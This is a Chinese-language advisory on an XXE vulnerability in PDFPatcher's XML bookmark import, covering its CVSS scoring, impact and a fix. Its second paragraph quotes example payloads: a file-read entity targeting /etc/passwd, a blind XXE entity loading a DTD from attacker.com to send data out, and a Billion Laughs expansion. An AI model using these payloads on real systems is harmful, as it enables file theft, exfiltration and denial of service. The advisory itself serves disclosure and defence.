CVE-2025-63917CVE-2025-63917是PDFPatcher软件中的一个高危安全漏洞，CVSS评分7.1。该漏洞存在于PDFPatcher的XML书签导入功能中，由于应用程序在使用.NET的XmlDocument类解析XML文件时未正确禁用外部实体（XXE）引用，导致存在严重的XML外部实体注入风险。攻击者可以通过诱骗用户导入恶意的XML书签文件，利用XXE漏洞从受害者系统中读取任意文件，包括敏感配置文件、密码文件、SSH密钥等。此外，攻击者还能通过构造特殊的XXE payload发起Out-of-Band（OOB）HTTP请求，实现敏感数据外泄，或对内网资源发起SSRF攻击，甚至通过实体扩展攻击导致应用程序拒绝服务。该漏洞的利用需要用户交互（UI:R），但无需认证（PR:N），攻击者可通过网络（AV:N）发起攻击。CVSS向量显示该漏洞对机密性影响高（C:H），对可用性影响低（A:L），对完整性无影响（I:N）。
PDFPatcher是一款流行的PDF文档处理工具，其书签导入功能支持XML格式的配置文件。问题出在应用程序使用.NET Framework的XmlDocument类加载XML书签文件时，未正确配置XmlReaderSettings以禁用外部实体解析。具体来说，XmlDocument类默认允许解析外部实体，攻击者可以在XML文件中通过DOCTYPE定义外部实体引用，如<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>，然后在XML元素中引用&xxe;即可实现任意文件读取。攻击者还可以利用参数实体进行Blind XXE攻击，通过外部DTD文件（如<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">）将文件内容发送到远程服务器。此外，通过构造递归实体或大规模实体引用（如<!ENTITY a "aaaaaaaaaa..."><!ENTITY b "&a;&a;&a;...">）可导致Billion Laughs攻击，造成内存耗尽和拒绝服务。修复方案是在XmlDocument加载前设置XmlResolver为null，或使用安全的XmlReader配合禁用DTD处理的配置。